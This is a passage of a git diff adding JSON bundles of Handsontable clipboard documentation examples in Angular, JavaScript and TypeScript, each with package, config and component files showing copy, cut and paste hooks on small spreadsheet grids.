    `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false })\n readonly hotTable!: HotTableComponent;\n\n copiedClassNames: string[][] = [];\n\n readonly data = [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n cell: [\n { row: 0, col: 1, className: 'htRight' },\n { row: 0, col: 2, className: 'htCenter' },\n { row: 2, col: 1, className: 'htRight htDimmed' },\n { row: 2, col: 2, className: 'htCenter htDimmed' },\n ],\n afterCopy: (_data: unknown[][], coords: CopyRange[]) => {\n this.copiedClassNames = collectClassNames(this.hotTable.hotInstance!, coords);\n },\n afterCut: (_data: unknown[][], coords: CopyRange[]) => {\n this.copiedClassNames = collectClassNames(this.hotTable.hotInstance!, coords);\n },\n afterPaste: (_data: unknown[][], coords: CopyRange[]) => {\n const target = coords[0];\n const hot = this.hotTable.hotInstance!;\n\n if (!target) {\n return;\n }\n\n hot.batch(() => {\n this.copiedClassNames.forEach((rowClassNames, rowOffset) => {\n rowClassNames.forEach((className, colOffset) => {\n hot.setCellMeta(target.startRow + rowOffset, target.startCol + colOffset, 'className', className);\n });\n });\n });\n\n hot.render();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/clipboard/angular/example4.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example5.ts.json new file mode 100644 index 00000000..087fe4ed --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport Handsontable from 'handsontable/base';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\nfunction collectComments(hot: Handsontable, coords: CopyRange[]): (string | undefined)[][] {\n const source = coords[0];\n const comments = hot.getPlugin('comments');\n const copied: (string | undefined)[][] = [];\n\n if (!source) {\n return copied;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowComments: (string | undefined)[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowComments.push(comments.getCommentAtCell(row, col));\n }\n\n copied.push(rowComments);\n }\n\n return copied;\n}\n\n@Component({\n selector: 'example5-clipboard',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n \n
    `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false })\n readonly hotTable!: HotTableComponent;\n\n copiedComments: (string | undefined)[][] = [];\n\n readonly data = [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 0, col: 1, comment: { value: 'Counted during the July audit.' } },\n { row: 2, col: 1, comment: { value: 'Reorder request sent to Harbor Goods.' } },\n { row: 2, col: 2, comment: { value: 'Expected delivery is July 18.' } },\n ],\n afterCopy: (_data: unknown[][], coords: CopyRange[]) => {\n this.copiedComments = collectComments(this.hotTable.hotInstance!, coords);\n },\n afterCut: (_data: unknown[][], coords: CopyRange[]) => {\n this.copiedComments = collectComments(this.hotTable.hotInstance!, coords);\n },\n afterPaste: (_data: unknown[][], coords: CopyRange[]) => {\n const target = coords[0];\n const hot = this.hotTable.hotInstance!;\n const comments = hot.getPlugin('comments');\n\n if (!target) {\n return;\n }\n\n hot.batch(() => {\n this.copiedComments.forEach((rowComments, rowOffset) => {\n rowComments.forEach((comment, colOffset) => {\n const row = target.startRow + rowOffset;\n const col = target.startCol + colOffset;\n\n if (comment) {\n comments.setCommentAtCell(row, col, comment);\n } else {\n comments.removeCommentAtCell(row, col, false);\n }\n });\n });\n });\n\n hot.render();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/clipboard/angular/example5.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example1.js.json new file mode 100644 index 00000000..23e9c59c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Clipboard · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: ['copy', 'cut'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/clipboard/javascript/example1.js","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/basic-clipboard","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example1.ts.json new file mode 100644 index 00000000..666a5537 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Clipboard · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: ['copy', 'cut'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/clipboard/javascript/example1.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/basic-clipboard","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example2.js.json new file mode 100644 index 00000000..35960786 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Clipboard · Copy with headers · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ],\n contextMenu: true,\n copyPaste: {\n copyColumnHeaders: true,\n copyColumnGroupHeaders: true,\n copyColumnHeadersOnly: true,\n },\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n nestedHeaders: [\n [\n 'A',\n { label: 'B', colspan: 2 },\n { label: 'C', colspan: 2 },\n { label: 'D', colspan: 2 },\n { label: 'E', colspan: 2 },\n 'F',\n ],\n ['G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/clipboard/javascript/example2.js","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example2","exampleTitle":"Copy with headers","docPermalink":"/basic-clipboard","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example2.ts.json new file mode 100644 index 00000000..8a564c8a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Clipboard · Copy with headers · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ],\n contextMenu: true,\n copyPaste: {\n copyColumnHeaders: true,\n copyColumnGroupHeaders: true,\n copyColumnHeadersOnly: true,\n },\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n nestedHeaders: [\n [\n 'A',\n { label: 'B', colspan: 2 },\n { label: 'C', colspan: 2 },\n { label: 'D', colspan: 2 },\n { label: 'E', colspan: 2 },\n 'F',\n ],\n ['G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/clipboard/javascript/example2.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example2","exampleTitle":"Copy with headers","docPermalink":"/basic-clipboard","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example3.js.json new file mode 100644 index 00000000..a19767ef --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Clipboard · Trigger copy & cut programmatically · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\nconst hot = new Handsontable(container, {\n rowHeaders: true,\n colHeaders: true,\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ],\n outsideClickDeselects: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst copyBtn = document.querySelector('#copy');\n\ncopyBtn.addEventListener('mousedown', () => {\n hot.selectCell(1, 1);\n});\ncopyBtn.addEventListener('click', () => {\n document.execCommand('copy');\n});\n\nconst cutBtn = document.querySelector('#cut');\n\ncutBtn.addEventListener('mousedown', () => {\n hot.selectCell(1, 1);\n});\ncutBtn.addEventListener('click', () => {\n document.execCommand('cut');\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/clipboard/javascript/example3.js","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example3","exampleTitle":"Trigger copy & cut programmatically","docPermalink":"/basic-clipboard","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example3.ts.json new file mode 100644 index 00000000..7148c072 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Clipboard · Trigger copy & cut programmatically · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nconst hot = new Handsontable(container, {\n rowHeaders: true,\n colHeaders: true,\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ],\n outsideClickDeselects: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst copyBtn = document.querySelector('#copy')!;\n\ncopyBtn.addEventListener('mousedown', () => {\n hot.selectCell(1, 1);\n});\n\ncopyBtn.addEventListener('click', () => {\n document.execCommand('copy');\n});\n\nconst cutBtn = document.querySelector('#cut')!;\n\ncutBtn.addEventListener('mousedown', () => {\n hot.selectCell(1, 1);\n});\n\ncutBtn.addEventListener('click', () => {\n document.execCommand('cut');\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/clipboard/javascript/example3.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example3","exampleTitle":"Trigger copy & cut programmatically","docPermalink":"/basic-clipboard","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example4.js.json new file mode 100644 index 00000000..f465d37a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nlet copiedClassNames = [];\nfunction collectClassNames(hot, coords) {\n const source = coords[0];\n const classNames = [];\n if (!source) {\n return classNames;\n }\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowClassNames = [];\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowClassNames.push(hot.getCellMeta(row, col).className ?? '');\n }\n classNames.push(rowClassNames);\n }\n return classNames;\n}\nfunction applyClassNames(hot, coords) {\n const target = coords[0];\n if (!target) {\n return;\n }\n hot.batch(() => {\n copiedClassNames.forEach((rowClassNames, rowOffset) => {\n rowClassNames.forEach((className, colOffset) => {\n hot.setCellMeta(target.startRow + rowOffset, target.startCol + colOffset, 'className', className);\n });\n });\n });\n hot.render();\n}\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ],\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n cell: [\n { row: 0, col: 1, className: 'htRight' },\n { row: 0, col: 2, className: 'htCenter' },\n { row: 2, col: 1, className: 'htRight htDimmed' },\n { row: 2, col: 2, className: 'htCenter htDimmed' },\n ],\n afterCopy(_data, coords) {\n copiedClassNames = collectClassNames(this, coords);\n },\n afterCut(_data, coords) {\n copiedClassNames = collectClassNames(this, coords);\n },\n afterPaste(_data, coords) {\n applyClassNames(this, coords);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/clipboard/javascript/example4.js","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example4.ts.json 